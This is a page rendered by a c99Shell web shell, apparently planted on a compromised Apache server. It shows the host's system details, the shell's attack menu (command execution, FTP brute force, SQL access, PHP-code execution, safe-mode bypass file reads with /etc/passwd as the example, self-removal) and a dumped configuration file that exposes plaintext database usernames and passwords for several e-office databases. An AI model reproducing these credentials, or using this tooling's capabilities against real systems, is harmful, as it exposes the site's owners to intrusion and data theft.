!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/mistk/info/   drwxr-xr-x
Free 50.95 GB of 127.8 GB (39.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     infosys_global.php (7.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 *--------------> Begin: Editable zone <----------------
 */

//
// System data
//

/* System path */
$ROOT_PATH "/var/www/html/mistk/";
$ROOT_URL "/mistk/";
$ADMIN_LOGIN "admin";

/* Database info */
$DBHOST "localhost";
$DBUSER "eoffice";
$DBPASS "45530577";

$DBNAME_UMS "umseo";
$DBUSER_UMS "eoffice";
$DBPASS_UMS "45530577";

$DBNAME_EPERSON "people";
$DBUSER_EPERSON "eoffice";
$DBPASS_EPERSON "45530577";

$DBNAME_EOFFICE "eopbri";
$DBUSER_EOFFICE "eoffice";
$DBPASS_EOFFICE "45530577";


$INFOSYS_MESG "ระบบสารสนเทศ";
$SYSTEM_TITLE ""// To set system-title, modifies this variable at current script.
$SYSTEM_DETAIL "";
$INFOSYS_TITLE "ระบบสารสนเทศ"// default system-title
$INFOSYS_LOGO "banner_mis.jpg"
$GREETING_MESG "ยินดีต้อนรับเข้าสู่ระบบสารสนเทศ";
/*
 *--------------> End: Editable zone <----------------
 */


/*
 *--------------> Begin: Read-only zone <---------------
 */
$SYS_INDEX "infosys.php";
$HOST_NAME $_SERVER["HTTP_HOST"];
$_PROTOCOL = (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) == "on") ? "https://" "http://";
$_INFO_PATH "${ROOT_PATH}info/";
$_CLASS_PATH "${ROOT_PATH}class/";
$_UMS_PATH "${ROOT_PATH}ums/";
$_INFO_URL "${ROOT_URL}info/";
$_CLASS_URL "${ROOT_URL}class/";
$_INFO_INDEX $HOST_NAME $_INFO_URL $SYS_INDEX;
$_MOD_PATH "${_INFO_PATH}mod/";
$_TPL_PATH "${_INFO_PATH}tpl/";
$_IMG_URL "${_INFO_URL}img/";
/*
 *--------------> End:   Read-only zone <---------------
 */


/*
 *--------------> Begin: Editable zone <----------------
 */
/* Subsystem path */
$_EPERSON_PATH "${ROOT_PATH}eperson/";
$_EBUDGET_PATH "${ROOT_PATH}ebudget/";
$_EOFFICE_PATH "${ROOT_PATH}eoffice/";

/* Subsystem URL */
$_UMS_URL "${ROOT_URL}ums/";
$_EPERSON_URL "${ROOT_URL}eperson/";
$_EBUDGET_URL "${ROOT_URL}ebudget/";
$_EOFFICE_URL "${ROOT_URL}eoffice/";

/*
 * System id mapping
 *
 */

$_SYSDIR_PATH = array(=> $_UMS_PATH,
                      
=> $_EBUDGET_PATH,
                      
=> $_EPERSON_PATH,
                      
10 => $_EOFFICE_PATH
                
);
$_SYSURL_PATH = array(=> "${_UMS_URL}",
                      
=> "${_EBUDGET_URL}",
                      
=> "${_EPERSON_URL}",
                      
10 => "${_EOFFICE_URL}"
                
);

$_SUBSYS_URL  = array(=> array(1  => ""
                           
),    // --- UMS ---
                      
=> array(20 => "${_EBUDGET_URL}code/",
                                 
21 => "${_EBUDGET_URL}code/",
                                 
22 => "${_EBUDGET_URL}code/",
                                 
23 => "${_EBUDGET_URL}code/",
                                 
24 => "${_EBUDGET_URL}code/",
                                 
25 => "${_EBUDGET_URL}code/",
                                 
26 => "${_EBUDGET_URL}code/",
                                 
27 => "${_EBUDGET_URL}code/",
                                 
28 => "${_EBUDGET_URL}code/",
                                 
29 => "${_EBUDGET_URL}code/",
                                 
30 => "${_EBUDGET_URL}code/",
                                 
31 => "${_EBUDGET_URL}code/",
                                 
98 => "${_EBUDGET_URL}code/"
                           
),    // --- EBUDGET ---

                      
=> array(40 => "${_EPERSON_URL}officer/",
                                 
41 => "${_EPERSON_URL}money/",
                                 
42 => "${_EPERSON_URL}officer/",
                                 
43 => "${_EPERSON_URL}admin/",
                                 
44 => "${_EPERSON_URL}officer/",
                                 
99 => "${_EPERSON_URL}admin/"
                           
),     // --- EPERSON ---
                      
=> array(50 => "${_ESALARY_URL}admin/"
                           
),
                    
10 => array(107 => "${_EOFFICE_URL}admin/",
                                 
108 => "${_EOFFICE_URL}admin/",
                                 
109 => "${_EOFFICE_URL}admin/",
                                 
110 => "${_EOFFICE_URL}admin/",
                                 
111 => "${_EOFFICE_URL}admin/",
                                 
112 => "${_EOFFICE_URL}admin/",
                                 
114 => "${_EOFFICE_URL}admin/",
                                 
115 => "${_EOFFICE_URL}admin/"                                 
                           
)     // --- EOFFICE ---       
                
);

$_SYS1ST_URL  = array(=> array(1  => ""
                           
),    // --- UMS ---
                      
=> array(20 => "sarabanIndex.php",
                                 
21 => "sarabanIndex.php",
                                 
22 => "sarabanIndex.php",
                                 
23 => "sarabanIndex.php",
                                 
24 => "sarabanIndex.php",
                                 
25 => "sarabanIndex.php",
                                 
26 => "sarabanIndex.php",
                                 
27 => "sarabanIndex.php",
                                 
28 => "sarabanIndex.php",
                                 
29 => "sarabanIndex.php",
                                 
30 => "sarabanIndex.php",
                                 
31 => "sarabanIndex.php",
                                 
98 => "sarabanIndex.php"
                           
),    // --- EBUDGET ---

                      
=> array(40 => "officerIndex.php",
                                 
41 => "moneyIndex.php",
                                 
42 => "officerIndex.php",
                                 
43 => "index.php",
                                 
44 => "officerIndex.php",
                                 
99 => "adminIndex.php"
                           
),     // --- EPERSON ---
                      
=> array(50 => "adminIndex.php"
                           
),
                    
10 => array(107 => "index.php",
                                 
108 => "index.php",
                                 
109 => "index.php",
                                 
110 => "index.php",
                                 
111 => "index.php",
                                 
112 => "index.php",
                                 
114 => "selectDocPost.php",
                                 
115 => "index.php"
                           
)     // --- EOFFICE2 ---
                
);

$_SYS1ST_NAME = array("หน้าแรก""หน้าเริ่มต้น");
$_SYSLNK_SKIP = array("ออกจากระบบ""เปลี่ยนรหัสผ่าน");

$_SYSICO_MINI = array(=> "${_INFO_URL}img/admin-mini.gif",
                      
=> "${_INFO_URL}img/ebudget-mini.gif",
                      
=> "${_INFO_URL}img/eperson-mini.gif",
                      
10 => "${_INFO_URL}img/eoffice-mini.gif"
                
);
$_SYSICO_BIGZ = array(=> "${_INFO_URL}img/admin-large.gif",
                      
=> "${_INFO_URL}img/ebudget-large.gif",
                      
=> "${_INFO_URL}img/eperson-large.gif",
                      
10 => "${_INFO_URL}img/eoffice-large.gif"
                
);


$_CONFIG_TITLE "ตั้งค่าการใช้งาน";
$_CONFIG_MOD = array(array("sys_name" => "เปลี่ยนรหัสผ่าน",
                           
"sys_modn" => "- ทุกกลุ่มผู้ใช้ -",
                           
"sys_link" => "${_INFO_URL}infosys.php?__m=config&__sb=chpasswd")
                );


$_ADDIN_DISABLED false// $_ADDIN_DISABLED = false, force Addin-Tools available for all user.
$_ADDIN_BLOG 8;
$_INFOADMIN_GPID 83;
$_ADDIN_WGOWNER = array(1935 => 82,
                        
1936 => 81,
                        
1937 => 80
                  
);
$_ADDIN_RESTRICT = array(82 => false,
                         
81 => false,
                         
80 => false
                   
);

// Begin:
// Fixed bugs or depend on user-requirement.

// auto display sub-system as groups
$_FIXED_VIEW_GROUP_START 1;

// End:
// Fixed bugs or depend on user-requirement.

//
// System option
//
$SECURE_LOG false// Use https protocol for submits signed-on data set $SECURE_LOG = true.
$DEBUG_MODE true;  // Test phase $DEBUG_MODE = true
/*
 *--------------> End: Editable zone <----------------
 */
 // Note: Use $_SESSION["ITEM_LINK"] variable for back to last menu.
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0143 ]--